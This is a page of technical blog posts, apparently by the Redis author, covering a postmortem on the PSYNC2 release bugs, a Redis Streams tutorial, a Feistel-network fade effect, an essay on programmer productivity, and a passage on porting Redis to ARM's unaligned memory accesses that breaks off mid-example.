  Four days ago a user posted a critical issue in the Redis Github repository. The problem was related to the new Redis 4.0 PSYNC2 replication protocol, and was very critical. PSYNC2 brings a number of good things to Redis replication, including the ability to resynchronize just exchanging the differences, and not the whole data set, after a failover, and even after a slave controlled restart. The problem was about this latter feature: with PSYNC2 the RDB file is augmented with replication information. After a slave is restarted, the replication metadata is loaded back, and the slave is able to perform a PSYNC attempt, trying to handshake with the master and receive the differences since the last disconnection. All this is good news from the point of view of Redis operations, however while PSYNC2 was pretty solid since the introduction in Redis 4.0.0 stable, the feature involving a restarting slave was definitely lacking reliability. There were two problems with this feature: the first being that it was a last-minute addition to PSYNC2, and was not part of the original design document. It was more like an obvious extension of the work we did in PSYNC2, but was not scrutinized at the same level of the rest of the specification for potential bugs and issues. The second problem was due to the fact that the feature is more complex than it looks like initially, for the fact that it’s tricky to really restore *all* the state the replication has in the slave side after a restart. Moreover, failing to restore certain bits of the state, does not result in evident bugs most of the times, so they are hard to spot via integration testings. Only once specific conditions happen the lack of some state will result in problems. For instance failing to correctly reconstruct the currently selected DB in the slave replication state, will create problems only when there are writes happening in different Redis DBs, and such bug would not store correctly the currently selected DB only under special conditions. Thanks to the help of many Redis contributors, but especially thanks to the @soloestoy Github user, a Redis developer at Alibaba, recently we worked at improving a number of PSYNC2 potential issues. All the work done would finally end inside Redis 4.0.3 in a few days, after much testing of all the patches wrote so far. However once I received issue #4483, I understood I had to rush the release of Redis 4.0.3 because this was far more serious than the other Redis 4 PSYNC2 issues that we had discovered up to that point. The bug described in issue #4483 was fairly simple, yet very problematic. After a slave restart and a resulting reloading of the replication state from the RDB, the master replication backlog could contain Lua scripts executions in the form of EVALSHA commands. However the slave Lua scripting engine is flushed of all the scripts after the restart, so is not able to process such commands. This results in the slave not processing writes originated by Lua scripts, unless such scripts were using “commands replication”, which is not the default. The default is to replicate the script itself. I went a bit in panic mode… and wrote a few alternative patches that I submitted to the issue. At the end the one that did not require RDB incompatibilities with older versions was picked, so I went ahead and released Redis 4.0.3 ASAP. However I did a mistake… It’s a few weeks that I work from an office instead of working from home. Normally I do not work at night, but for 4.0.3, when I returned back home, I opened my home laptop and merged the patch into the 4.0 branch, and did some testing activity. The next day when I returned to the office, I continued working from another computer, but I did not realize that I was missing one commit that I merged at home, without pushing it to the repository. So I basically released a 4.0.3 that had all the PSYNC2 fixes minus the most important one for the replication bug. I released ASAP a new patch level version, Redis 4.0.4, including the replication fix. This was already not great: upgrading Redis is a scheduled activity, and nobody wants to upgrade two times because I make errors in preparing the release… But the worst was yet to happen. The fix that I added in 4.0.4, the one about scripts replication in restarting slaves performing PSYNC2, had an error that passed totally unnoticed through all the replication integration tests: the fix involved storing the Lua scripts in the slave memory directly into the RDB, in order to reload them later. However it was not considered that the function loading the scripts, would assert if the script was already in memory, so when a slave received a full synchronization from a master, it started to load the RDB file, crashing immediately because of some duplicated script that was already in memory. A user reported it ASAP via Twitter, and I fixed the problem in less than 45 minutes, from the reporting moment to the 4.0.5 availability, but this does not mitigate all the potential problems that this sequence of failures at delivering a fix caused. The above problems were caused by a number of reasons: 1. Redis 4.0 was delivered as stable too early, considering the complexity and the amount of code change in PSYNC2. The next time, even at the cost of delaying releases, I’ll wait more and will take the new major versions of Redis more time in the last release candidate, so that we can find such bugs before shipping a GA version. 2. I rushed too much trying to deliver a fix for issue #4483. Even if the bug was critical, it was better to spend some time in order to check what was happening, and the potential problems caused by the fix itself. Moreover I was so much in a hurry that I did not check the set of commits composing 4.0.3 with enough care, causing the lack of one of the fixes, and the need for a new release. 3. While Redis 4.0 has very strict PSYNC2 unit and integration tests, including tests that simulate continuous failovers checking data consistency at every step, because of this bug I discovered that the tests never try to mix PSYNC2 with replication of Lua scripts. This must be improved. Also the PSYNC2 replication after slave RDB restart must be enhanced as well. I’ll start with the improvements at “3”, and in the future I’ll consider the lessons at “1” and “2” before every new release. My sincere apologize to everybody that had to deal with my errors in this instance, and a big thank you to @soloestoy for an incredible amount of help and support. Comments

• Streams: a new general purpose data structure in Redis.
  Oct 02, 2017

  Until a few months ago, for me streams were no more than an interesting and relatively straightforward concept in the context of messaging. After Kafka popularized the concept, I mostly investigated their usefulness in the case of Disque, a message queue that is now headed to be translated into a Redis 4.2 module. Later I decided that Disque was all about AP messaging, which is, fault tolerance and guarantees of delivery without much efforts from the client, so I decided that the concept of streams was not a good match in that case. However, at the same time, there was a problem in Redis, that was not taking me relaxed about the data structures exported by default. There is some kind of gap between Redis lists, sorted sets, and Pub/Sub capabilities. You can kindly use all these tools in order to model a sequence of messages or events, but with different tradeoffs. Sorted sets are memory hungry, can’t model naturally the same message delivered again and again, clients can’t block for new messages. Because a sorted set is not a sequential data structure, it’s a set where elements can be moved around changing their scores: no wonder if it was not a good match for things like time series. Lists have different problems creating similar applicability issues in certain use cases: you cannot explore what is in the middle of a list because the access time in that case is linear. Moreover no fan-out is possible, blocking operations on list serve a single element to a single client. Nor there was a fixed element identifier in lists, in order to say: given me things starting from that element. For one-to-many workloads there is Pub/Sub, which is great in many cases, but for certain things you do not want fire-and-forget: to retain a history is important, not just to refetch messages after a disconnection, also because certain list of messages, like time series, are very important to explore with range queries: what were my temperature readings in this 10 seconds range? The way I tried to address the above problems, was planning a generalization of sorted sets and lists into a unique more flexible data structure, however my design attempts ended almost always in making the resulting data structure ways more artificial than the current ones. One good thing about Redis is that the data structures exported resemble more the natural computer science data structures, than, “this API that Salvatore invented”. So in the end, I stopped my attempts, and said, ok that’s what we can provide so far, maybe I’ll add some history to Pub/Sub, or some more flexibility to lists access patterns in the future. However every time an user approached me during a conference saying “how would you model time series in Redis?” or similar related questions, my face turned green. Genesis ======= After the introduction of modules in Redis 4.0, users started to see how to fix this problem themselves. One of them, Timothy Downs, wrote me the following over IRC: the module I'm planning on doing is to add a transaction log style data type - meaning that a very large number of subscribers can do something like pub sub without a lot of redis memory growth subscribers keeping their position in a message queue rather than having redis maintain where each consumer is up to and duplicating messages per subscriber This captured my imagination. I thought about it a few days, and realized that this could be the moment when we could solve all the above problems at once. What I needed was to re-imagine the concept of “log”. It is a basic programming element, everybody is used to it, because it’s just as simple as opening a file in append mode and writing data to it in some format. However Redis data structures must be abstract. They are in memory, and we use RAM not just because we are lazy, but because using a few pointers, we can conceptualize data structures and make them abstract, to allow them to break free from the obvious limits. For instance normally a log has several problems: the offset is not logical, but is an actual bytes offset, what if we want logical offsets that are related to the time an entry was inserted? We have range queries for free. Similarly, a log is often hard to garbage collect: how to remove old elements in an append only data structure? Well, in our idealized log, we just say we want at max this number of entries, and the old ones will go away, and so forth. While I was trying to write a specification starting from the seed idea of Timothy, I was working to a radix tree implementation that I was using for Redis Cluster, to optimize certain parts of its internals. This provided the ground in order to implement a very space efficient log, that was still accessible in logarithmic time to get ranges. At the same time I started reading about Kafka streams to get other interesting ideas that could fit well into my design, and this resulted into getting the concept of Kafka consumer groups, and idealizing it again for Redis and the in-memory use case. However the specification remained just a specification for months, at the point that after some time I rewrote it almost from scratch in order to upgrade it with many hints that I accumulated talking with people about this upcoming addition to Redis. I wanted Redis streams to be a very good use case for time series especially, not just for other kind of events and messaging applications. Let’s write some code ===================== Back from Redis Conf, during the summertime, I was implementing a library called “listpack”. This library is just the successor of ziplist.c, that is, a data structure that can represent a list of string elements inside a single allocation. It’s just a very specialized serialization format, with the peculiarity of being parsable also in reverse order, from right to left: something needed in order to substitute ziplists in all the use cases. Mixing radix trees + listpacks, it is possible to easily build a log that is at the same time very space efficient, and indexed, that means, allowing for random access by IDs and time. Once this was ready, I started to write the code in order to implement the stream data structure. I’m still finishing the implementation, however at this point, inside the Redis “streams” branch at Github, there is enough to start playing and having fun. I don’t claim that the API is 100% final, but there are two interesting facts: one is that at this point, only the consumer groups are missing, plus a number of less important commands to manipulate the stream, but all the big things are implemented already. The second is the decision to backport all the stream work back into the 4.0 branch in about two months, once everything looks stable. It means that Redis users will not have to wait for Redis 4.2 in order to use streams, they will be available ASAP for production usage. This is possible because being a new data structure, almost all the code changes are self-contained into the new code. With the exception of the blocking list operations: the code was refactored so that we share the same code for streams and lists blocking operations, with a great simplification of the Redis internals. Tutorial: welcome to Redis Streams ================================== In some way, you can think at streams as a supercharged version of Redis lists. Streams elements are not just a single string, they are more objects composed of fields and values. Range queries are possible and fast. Each entry in a stream has an ID, which is a logical offset. Different clients can blocking-wait for elements with IDs greater than a specified one. A fundamental command of Redis streams is XADD. Yes, all the Redis stream commands are prefixed by an “X”. > XADD mystream * sensor-id 1234 temperature 10.5 1506871964177.0 The XADD command will append the specified entry as a new element to the specified stream “mystream”. The entry, in the example above, has two fields: sensor-id and temperature, however each entry in the same stream can have different fields. Using the same field names will just lead to better memory usage. An interesting thing is also that the fields order is guaranteed to be retained. XADD returns the ID of the just inserted entry, because with the asterisk in the third argument, we asked the command to auto-generate the ID. This is almost always what you want, but it is possible also to force a specific ID, for instance in order to replicate the command to slaves and AOF files. The ID is composed of two parts: a millisecond time and a sequence number. 1506871964177 is the millisecond time, and is just a Unix time with millisecond resolution. The number after the dot, 0, is the sequence number, and is used in order to distinguish entries added in the same millisecond. Both numbers are 64 bit unsigned integers. This means that we can add all the entries we want in a stream, even in the same millisecond. The millisecond part of the ID is obtained using the maximum between the current local time of the Redis server generating the ID, and the last entry inside the stream. So even if, for instance, the computer clock jumps backward, the IDs will continue to be incremental. In some way you can think stream entry IDs as whole 128 bit numbers. However the fact that they have a correlation with the local time of the instance where they are added, means that we have millisecond precision range queries for free. As you can guess, adding two entries in a very fast way, will result in only the sequence number to be incremented. We can simulate the “fast insertion” simply with a MULTI/EXEC block: > MULTI OK > XADD mystream * foo 10 QUEUED > XADD mystream * bar 20 QUEUED > EXEC 1) 1506872463535.0 2) 1506872463535.1 The above example also shows how we can use different fields for different entries without having to specifying any schema initially. What happens however is that every first message of every block (that usually contains something in the range of 50-150 messages) is used as reference, and successive entries having the same fields are compressed with a single flag saying “same fields of the first entry in this block”. So indeed using the same fields for successive messages saves a lot of memory, even when the set of fields slowly change over time. In order to retrieve data from the stream there are two ways: range queries, that are implemented by the XRANGE command, and streaming, implemented by the XREAD command. XRANGE just fetches a range of items from start to stop, inclusive. So for instance I can fetch a single item, if I know its ID, with: > XRANGE mystream 1506871964177.0 1506871964177.0 1) 1) 1506871964177.0 2) 1) "sensor-id" 2) "1234" 3) "temperature" 4) "10.5" However you can use the special start symbol of “-“ and the special stop symbol of “+” to signify the minimum and maximum ID possible. It’s also possible to use the COUNT option in order to limit the amount of entries returned. A more complex XRANGE example is the following: > XRANGE mystream - + COUNT 2 1) 1) 1506871964177.0 2) 1) "sensor-id" 2) "1234" 3) "temperature" 4) "10.5" 2) 1) 1506872463535.0 2) 1) "foo" 2) "10" Here we are reasoning in terms of ranges of IDs, however you can use XRANGE in order to get a specific range of elements in a given time range, because you can omit the “sequence” part of the IDs. So what you can do is to just specify times in milliseconds. The following means: “Give me 10 entries starting from the Unix time 1506872463”: 127.0.0.1:6379> XRANGE mystream 1506872463000 + COUNT 10 1) 1) 1506872463535.0 2) 1) "foo" 2) "10" 2) 1) 1506872463535.1 2) 1) "bar" 2) "20" A final important thing to note about XRANGE is that, given that we receive the IDs in the reply, and the immediately successive ID is trivially obtained just incrementing the sequence part of the ID, it is possible to use XRANGE to incrementally iterate the whole stream, receiving for every call the specified number of elements. After the *SCAN family of commands in Redis, that allowed iteration of Redis data structures *despite* the fact they were not designed for being iterated, I avoided to make the same error again. Streaming with XREAD: blocking for new data =========================================== XRANGE is perfect when we want to access our stream to get ranges by ID or time, or single elements by ID. However in the case of streams that different clients must consume as data arrives, this is not good enough and would require some form of pooling (that could be a good idea for *certain* applications that just connect from time to time to get data). The XREAD command is designed in order to read, at the same time, from multiple streams just specifying the ID of the last entry in the stream we got. Moreover we can request to block if no data is available, to be unblocked when data arrives. Similarly to what happens with blocking list operations, but here data is not consumed from the stream, and multiple clients can access the same data at the same time. This is a canonical example of XREAD call: > XREAD BLOCK 5000 STREAMS mystream otherstream $ $ And it means: get data from “mystream” and “otherstream”. If no data is available, block the client, with a timeout of 5000 milliseconds. After the STREAMS option we specify the keys we want to listen for, and the last ID we have. However a special ID of “$” means: assume I’ve all the elements that there are in the stream right now, so give me just starting from the next element arriving. If, from another client, I send the commnad: > XADD otherstream * message “Hi There” This is what happens on the XREAD side: 1) 1) "otherstream" 2) 1) 1) 1506935385635.0 2) 1) "message" 2) "Hi There" We get the key that received data, together with the data received. In the next call, we’ll likely use the ID of the last message received: > XREAD BLOCK 5000 STREAMS mystream otherstream $ 1506935385635.0 And so forth. However note that with this usage pattern, it is possible that the client will connect again after a very big delay (because it took time to process messages, or for any other reason). In such a case, in the meantime, a lot of messages could pile up, so it is wise to always use the COUNT option with XREAD, in order to make sure the client will not be flooded with messages and the server will not have to lose too much time just serving tons of messages to a single client. Capped streams ============== So far so good… however streams at some point have to remove old messages. Fortunately this is possible with the MAXLEN option of the XADD command: > XADD mystream MAXLEN 1000000 * field1 value1 field2 value2 This basically means, if the stream, after adding the new element is found to have more than 1 million messages, remove old messages so that the length returns back to 1 million elements. It’s just like using RPUSH + LTRIM with lists, but this time we have a built-in mechanism to do so. However note that the above means that every time we add a new message, we have also to incur in the work needed in order to remove a message from the other side of the stream. This takes some CPU, so it is possible to use the “~” symbol before the count in MAXLEN, in order to specify that we are not really demanding *exactly* 1 million messages, but if there are a few more it’s not a big problem: > XADD mystream MAXLEN ~ 1000000 * foo bar This way XADD will remove messages only when it can remove a whole node. This will make having the capped stream almost for free compared to vanilla XADD. Consumer groups (work in progress) ================================== This is the first of the features that is not already implemented in Redis, but is a work in progress. It is also the idea more clearly inspired by Kafka, even if implemented here in a pretty different way. The gist is that with XREAD, clients can also add a “GROUP ” option. Automatically all the clients in the same group will get *different* messages. Of course there could be multiple groups reading from the same stream, in such cases all groups will receive duplicates of the same messages arriving in the stream, but within each group, messages will not be repeated. An extension to groups is that it will be possible to specify a “RETRY ” option when groups are specified: in this case, if messages are not acknowledged for processing with XACK, they will be delivered again after the specified amount of milliseconds. This provides some best effort reliability to the delivering of the messages, in case the client has no private means to mark messages as processed. This part is a work in progress as well. Memory usage and saving loading times ===================================== Because of the design used to model Redis streams, the memory usage is remarkably low. It depends on the number of fields, values, and their lengths, but for simple messages we are at a few millions of messages for every 100 MB of used memory. Moreover, the format is conceived to need very minimal serialization: the listpack blocks that are stored as radix tree nodes, have the same representation on disk and in memory, so they are trivially stored and read. For instance Redis can read 5 million entries from the RDB file in 0.3 seconds. This makes replication and persistence of streams very efficient. It is planned to also allow deletion of items in the middle. This is only partially implemented, but the strategy is to mark entries as deleted in the entry flag, and when a given ratio between entries and deleted entires is reached, the block is rewritten to collect the garbage, and if needed it is glued to another adjacent block in order to avoid fragmentation. Conclusions end ETA =================== Redis streams will be part of Redis stable in the 4.0 series before the end of the year. I think that this general purpose data structure is going to put a huge patch in order for Redis to cover a lot of use cases that were hard to cover: that means that you had to be creative in order to abuse the current data structures to fix certain problems. One very important use case is time series, but my feeling is that also streaming of messages for other use cases via TREAD is going to be very interesting both as replacement for Pub/Sub applications that need more reliability than fire-and-forget, and for completely new use cases. For now, if you want to start to evaluate the new capabilities in the context of your problems, just fetch the “streams” branch at Github and start playing. After all bug reports are welcome :-) If you like videos, a real-time session showing streams is here: https://www.youtube.com/watch?v=ELDzy9lCFHQ Comments

• Doing the FizzleFade effect using a Feistel network
  Aug 29, 2017

  Today I read an interesting article about how the Wolfenstein 3D game implemented a fade effect using a Linear Feedback Shift Register. Every pixel of the screen is set red in a pseudo random way, till all the screen turns red (or other colors depending on the event happening in the game). The blog post describing the implementation is here and is a nice read: http://fabiensanglard.net/fizzlefade/index.php You may wonder why the original code used a LFSR or why I'm proposing a different approach, instead of the vanilla setPixel(rand(),rand()): doing this with a pseudo random generator, as noted in the blog post, is slow, but is also visually very unpleasant, since the more red pixels you have on the screen already, the less likely is that you hit a new yet-not-red pixel, so the final pixels take forever to turn red (I *bet* that many readers of this blog post tried it in the old times of the Spectum, C64, or later with QBASIC or GWBasic). In the final part of the blog post the author writes: "Because the effect works by plotting pixels individually, it was hard to replicate when developers tried to port the game to hardware accelerated GPU. None of the ports managed to replicate the fizzlefade except Wolf4SDL, which found a LFSR taps configuration to reach resolution higher than 320x200.” While not rocket science, it was possibly hard for other resolutions to find a suitable LFSR. However regardless of the real complexity of finding an appropriate LFSR for other resolutions, the authors of the port could use another technique, called a Feistel Network, to get exactly the same result in a trivial way. What is a Feistel Network? === It’s a building block typically used in cryptography: it creates a transformation between a sequence of bits and another sequence of bits, so that the transformation is always invertible, even if you use all the kind of non linear transformations inside the Feistel network. In practical terms the Feistel network can, for example, translate a 32 bit number A into another 32 bit number B, according to some function F(), so that you can always go from B to A later. Because the function is invertible, it implies that for every input value the Feistel network generates *a different* output value. This is a simple Feistel network in pseudo code: Split the input into L and R halves (Example: L = INPUT & 0xFF, R = INPUT >> 8) REPEAT for N rounds: next_L = R R = L XOR F(R) L = next_L END RETURN the value composing L and R again into a single sequence of bits: R So we basically split a (for example) 16 bit integer into two 8 bit integers L and R, perform some transformation for N rounds, and recompose them back into a 16 bit integer, which is our output. But how is this useful for our problem of implementing FizzleFade? Well you can imagine your 2D screen like a linear array of pixels. If the resolution is 320x200 like in the original game you have from pixel 0 to pixel 63999. So for every integer from 0 to 63999 we can generate a random looking pixel position just by counting and setting the pixel in the position returned by the Feistel network. The problem is that the Feistel network works in bits, so we can’t have exactly from 0 to 63999, we have to pick a power of two which is large enough. The nearest is 16 in this case: with 16 bits we have 65536 integer-to-integer transformations, a few cycles will not be used to set an actual pixel but is not a big waste. So, this is how our Feistel network looks like, in Javascript: /* Transforms the 16 bit input into another seemingly psenduo random number * in the same range. Every input 16 bit input will generate a different * 16 bit output. This is called a Feistel network. */ function feistelNet(input) { var l = input & 0xff; var r = input >> 8; for (var i = 0; i var nl = r; var F = (((r * 11) + (r >> 5) + 7 * 127) ^ r) & 0xff; r = l ^ F; l = nl; } return ((r} The non linear transformation “F” I’m using is just a few random multiplications and shifts, picked mostly at random. I’m using 8 rounds even if it is probably not needed with a better F function, but I want the effect to look random (coincidentally drawing random pixels is a decent way to visually spot trivial bad distribution properties). Implementing this using a Javascript canvas we need a few more functions, to get a 2D context and set a pixel. The final code is in this Gist: https://gist.github.com/antirez/6d58860b221a6ae5622ced8ccdddbe47 You can see the result here: http://antirez.com/misc/fizzlefade.html The original problem to explore in this article was to find a way to implement the effect in different resolutions, so even if it is a trivial extension of the 320x200 case, just to make an example, imagine you want to implement the same with 1024*768. There are 786432 pixels, so 2^20 will fit quite well with 1048576 possible integers. We’ll have to modify the Feistel network to have 20 bits input/output by using 10 bits L and R variables, otherwise everything is pretty much the same, but remember to also change the stop condition (that checks the number of frames). Actually Feistel networks one-to-one pseudo random mapping properties are very useful in other contexts as well. For instance I used it in my radix tree implementation tests (https://github.com/antirez/rax in case you are curious). A good tool to have in a programmer mental box. Comments

• The mythical 10x programmer
  Feb 28, 2017

  A 10x programmer is, in the mythology of programming, a programmer that can do ten times the work of another normal programmer, where for normal programmer we can imagine one good at doing its work, but without the magical abilities of the 10x programmer. Actually to better characterize the “normal programmer” it is better to say that it represents the one having the average programming output, among the programmers that are professionals in this discipline. The programming community is extremely polarized about the existence or not of such a beast: who says there is no such a thing as the 10x programmer, who says it actually does not just exist, but there are even 100x programmers if you know where to look for. If you see programming as a “linear” discipline, it is clear that the 10x programmer looks like an irrational possibility. How can a runner run 10x faster than another one? Or a construction worker build 10x the things another worker can build in the same time? However programming is a design discipline, in a very special way. Even when a programmer does not participate in the actual architectural design of a program, the act of implementing it still requires a sub-design of the implementation strategy. So if the design and implementation of a program are not linear abilities, things like experience, coding abilities, knowledge, recognition of useless parts, are, in my opinion, not just linear advantages, they work together in a multiplicative way in the act of creating a program. Of course this phenomenon happens much more when a programmer can both handle the design and the implementation of a program. The more “goal oriented” is the task, the more a potential 10x programmer can exploit her/his abilities in order to reach the goal with a lot less efforts. When the task at hand is much more rigid, with specific guidelines about what tools to use and how to implement things, the ability of a 10x programmer to perform a lot of work in less time is weakened: it can still exploit “local” design possibilities to do a much better work, but cannot change in more profound ways the path used to reach the goal, that may include, possibly, even eliminating part of the specification completely from the project, so that the goal to be reached looks almost the same but the efforts to reach it are reduced by a big factor. In twenty years of working as a programmer I observed other programmers working with me, as coworkers, guided by me in order to reach a given goal, providing patches to Redis and other projects. At the same time many people told me that they believe I’m a very fast programmer. Considering I’m far from being a workaholic, I’ll also use myself as a reference of coding things fast. The following is a list of qualities that I believe make the most difference in programmers productivity. * Bare programming abilities: getting sub-tasks done One of the most obvious limits, or strengths, of a programmer is to deal with the sub-task of actually implementing part of a program: a function, an algorithm or whatever. Surprisingly the ability to use basic imperative programming constructs very efficiently in order to implement something is, in my experience, not as widespread as one may think. In a team sometimes I observed very incompetent programmers, that were not even aware of a simple sorting algorithm, to get more work done than graduated programmers that were in theory extremely competent but very poor in the practice of implementing solutions. * Experience: pattern matching By experience I mean the set of already explored solutions for a number of recurring tasks. An experienced programmer eventually knows how to deal with a variety of sub tasks. This avoids both a lot of design work, but especially, is an extremely powerful weapon against design errors, that are in turn among the biggest enemies of simplicity. * Focus: actual time VS hypothetical time The number of hours spent writing code is irrelevant without looking at the quality of the time. Lack of focus can be generated by internal and external factors. Internal factors are procrastination, lack of interest in the project at hand (you can’t be good doing things you do not love), lack of exercise / well-being, poor or little sleeping. External factors are frequent meetings, work environments without actual offices, coworkers interrupting often and so forth. It seems natural that trying to improve focus and to reduce interruptions is going to have a non marginal effect on the programming productivity. Sometimes in order to gain focus, extreme measures are needed. For instance I only read emails from time to time and do not reply to most of them. * Design sacrifice: killing 5% to get 90% Often complexity is generated when there is no willingness to recognized that a non fundamental goal of a project is accounting for a very large amount of design complexity, or is making another more important goal very hard to reach, because there is a design tension among a fundamental feature and a non fundamental one. It is very important for a designer to recognize all the parts of a design that are not easy wins, that is, there is no proportionality between the effort and the advantages. A project that is executed in order to maximize the output, is going to focus exactly on the aspects that matter and that can be implemented in a reasonable amount of time. For example when designing Disque, a message broker, at some point I realized that by providing just best-effort ordering for the messages, all the other aspects of the project could be substantially improved: availability, query language and clients interaction, simplicity and performances. * Simplicity This is an obvious point that means all and nothing. In order to understand what simplicity is, it is worth to check how complexity is often generated. I believe that the two main drivers of complexity are the unwillingness to perform design sacrifices, and the accumulation of errors in the design activity. If you think at the design process, each time a wrong path is pursued, we get more and more far from the optimal solution. An initial design error, in the wrong hands, will not generate a re-design of the same system, but will lead to the design of another complex solution in order to cope with the initial error. The project, thus, becomes more complex and less efficient at every wrong step. The way simplicity can be achieved is to reason in terms of small metal “proof of concepts”, so that a large amount of simple designs can be explored in the mind of the programmer, to start working from something that looks the most viable and direct solution. Later, experience and personal design abilities will allow to improve the design and find sensible solutions for the sub-designs that need to be resolved. However each time a complex solution is needed, it’s important to reason for a long time about how the complexity can be avoided, and only continue in that direction if no better possibility is found even considering completely different alternatives. * Perfectionism, or how to kill your productivity and bias your designs Perfectionism comes in two variants: an engineering culture of reaching the best possible measurable performance in a program, and as a personality trait. In both the instances, I see this as one of the biggest barriers for a programmer to deliver things fast. Perfectionism and fear of external judice insert a designing bias that will result in poor choices in order to refine a design only according to psychological or trivially measurable parameters, where things like robustness, simplicity, ability to deliver in time, are often never accounted for. * Knowledge: some theory is going to help When dealing with complex tasks, knowledge about data structures, fundamental limits of computation, non trivial algorithms that are very suitable to model certain tasks, are going to have an impact in the ability to find a suitable design. To be a super expert of everything is not required, but to be at least aware of a multitude of potential solutions for a problem certainly is. For instance applying design sacrifice (accept some error percentage) and being aware of probabilistic set cardinality estimators, can be combined together in order to avoid a complex, slow and memory inefficient solution in order to count unique items in a stream. * Low level: understanding the machine A number of issues in programs, even when using high level languages, arise from the misunderstanding of how the computer is going to perform a given task. This may even lead to the need of re-designing and re-implementing again from scratch a project because there is a fundamental problem in the tools or algorithms used. Good competence of C, the understanding of how CPUs work and clear ideas about how the kernel operates and how system calls are implemented, can save from bad late-stage surprises. * Debugging skills It is very easy to spend an enormous amount of work in order to find bugs. The sum of being good at gaining state about a bug, incrementally, in order to fix it with a rational set of steps, and the attitude of writing simple code that is unlikely to contain too many bugs, can have a great effect on the programmer efficiency. It is no surprising to me to see how the above qualities of a programmer can have a 10x impact on the output. Combined they allow for good implementations of designs that start from a viable model and can be several times simpler than alternatives. There is a way to stress simplicity that I like to call “opportunistic programming”. Basically at every development step, the set of features to implement is chosen in order to have the maximum impact on the user base of the program, with the minimum requirement of efforts. Comments

• Redis on the Raspberry Pi: adventures in unaligned lands
  Feb 24, 2017

  After 10 million of units sold, and practically an endless set of different applications and auxiliary devices, like sensors and displays, I think it’s deserved to say that the Raspberry Pi is not just a success, it also became one of the preferred platforms for programmers to experiment in the embedded space. Probably with things like the Pi zero, it is also becoming the platform in order to create hardware products, without incurring all the risks and costs of designing, building, and writing software for vertical devices. Well, I love to think that also Redis is a platform that programmers like to use when to hack, experiment, build new things. Moreover devices that can be used for embedded / IoT applications, often have the problem of temporarily or permanently storing data, for example received by sensors, on the device, to perform on-device computations or to send them to remote servers. Redis is adding a “Stream” data type that is specifically suited for streams of data and time series storage, at this point the specification is near complete and work to implement it will start in the next weeks. Redis existing data structures, and the new streams, together with the small memory footprint, the decent performances it can provide even while running on small hardware (and resulting low energy usage), looked like a good match for Raspberry Pi potential applications, and in general for small ARM devices. The missing piece was the obvious one: to run well on the Pi. One of the many cool things about the Pi is that its development environment does not look like the embedded development environments of a few years ago… It just runs Linux, with all the Debian-alike tooling you expect to find. Basically adapting Redis to work on the Pi was not a huge task. The most fundamental mismatch a Linux system program and the Pi could have, is a performance / footprint mismatch, but this a non issue because of the Redis design itself: an empty instance consumes a total of 1MB of Resident Set Size, serves queries from memory, so it is fast enough and does not stress the flash disk too much, and when persistence is needed, it uses AOF which has an append-only write pattern. However the Pi runs an ARM processor, and this requires some care when dealing with unaligned accesses. In this blog post, while showing you what I did to make Redis and Raspberry Pi more happy together, I’ll try to provide an overview about dealing with architectures that do not handle unaligned accesses transparently as the x86 platform does. A few things about ARM processors — The most interesting thing about porting Redis to ARM is that ARM processors are, or actually were… well, not big fans of unaligned memory accesses. If you live your life in high level programming, you may not know it, but many processor architectures were historically not able to load or store memory words in addresses not multiple of the word size. So if the word size is 4 bytes (in the case of a 32 bit processor), you may load or store a word at address 0x4, 0x8, and so forth, but not at address 0x7. The result is an exception sometimes, or an odd behavior some other time, depending on the CPU and its exact configuration. Then the x86 processors family ruled the world and everybody kinda forgot about this issue (if not for dealing with SEE instructions and alike, but now even those instructions have unaligned variants). Oh well, initially forgetting about the issue is not really what happened. Even if x86 processors could deal with unaligned accesses without raising an exception, doing so was a non trivial performance penalty: partial reads/writes at word boundary required to do the double of the work. But then recent x86 processors have optimizations that make unaligned accesses as fast as aligned accesses most of the times, so basically nowadays for x86 this is really Not An Issue. ARM was, up to ARM v5, one of that platforms where unaligned accesses caused strange results, and very unexpected ones, actually. From the ARM official documentation: “if the address is not a multiple of four, the LDR instruction returns a rotated result rather than performing a true unaligned word load. Generally, this rotation is not what the programmer expects.” Oh well *definitely* not what the programmer expects. However even the original Raspberry Pi had an ARM v6 processor. The v6, while incurring into performance penalty, is able to deal with word-sized unaligned accesses. However instructions that deal with multiple words will raise an exception, terminating the program with a signal bus, or asking for help by the kernel (as we’ll see later in more details). This means that Redis would not crash like crap immediately when running on the Pi, because most of the unaligned accesses performed by Redis were actually word-sized. However, from time to time, the compiler generated code to speedup the computation using multiple load/store instructions, or the Redis code itself tried to load/store 64 bit values from unaligned accesses. This normally would result into a crash, in theory, however Linux helps a bit in this regard. Instead of crashing, ask the kernel! — The Linux kernel, when running on an ARM processor, is able to help user processes to work as expected even when they execute operations on unaligned addresses that are normally not supported by the CPU. The way this is performed is by registering an handler inside the kernel for such exceptions: the kernel will check the operation that failed, and will simulate it in a function, so that the final result is like if the processor executed it, and then will resume the “offending” process that will continue to run. If you are into low level programming, this Linux kernel file is worth checking: http://lxr.free-electrons.com/source/arch/arm/mm/alignment.c The actual behavior of the kernel when an unaligned access exception is raised by the CPU, is controlled by the file /proc/cpu/alignment: $ cat /proc/cpu/alignment User: 0 System: 12590 (ip6_datagram_recv_common_ctl+0xc8/0xd4 [ipv6]) Skipped: 0 Half: 0 Word: 0 DWord: 0 Multi: 12590 User faults: 2 (fixup) As you can see there are separated counters for all the unaligned accesses that were corrected by the kernel, both in user space and in kernel space. In the above case 12590 accesses where corrected in kernel space. No user land process was corrected. Note that the “User faults” line shows the kernel configuration about what to do when an user space process performs an unaligned access that the CPU cannot handle: it can fix the problem, send a SIGBUS, or log the even in the kernel logs. This is controlled by single bits of an integer that can be written into /proc/cpu/alignment, so for instance in order to log (other than fix) user space unaligned accesses one can use “echo 3 > /proc/cpu/alignment” (bit 1 enables logging, bit 2 enables fixing). My feeling is that the Linux kernel enabled such a feature not much since the kernel developers were concerned with the poor user space programmers that were not able to deal with unaligned memory accesses, but because the kernel itself does not always performs unaligned accesses as you can see from the “System” counter. So this was the simplest way to fix the Linux port on ARM instead of checking every single place of the code. Given that Linux handles this transparently, one could be tempted to say, oh well… maybe there is nothing to fix here, Redis will just work as expected as long as we set /proc/cpu/alignment to fix things transparently. Actually this is not the case for two reasons: 1. When an unaligned access is performed and fixed by the kernel, this results in *very* slow execution. The speed penalty is much larger than, for example, the second memory access needed when doing unaligned work-sized accesses. While this only happens with multiple loads and stores instructions, it is still a shame that in certain conditions Redis would be much slower than needed. 2. The Linux kernel implementation of ARM misaligned accesses is not perfect. There is code that GCC will emit that contains instructions that are not handled well by Linux 4.4.34. A trivial example is this one: $ #include int main(int argc, char **argv) { int count = 1000; char *buf = malloc(count*sizeof(double)); double sum = 0; double *l = (double*) (buf+1); while(count--) { l++; sum += 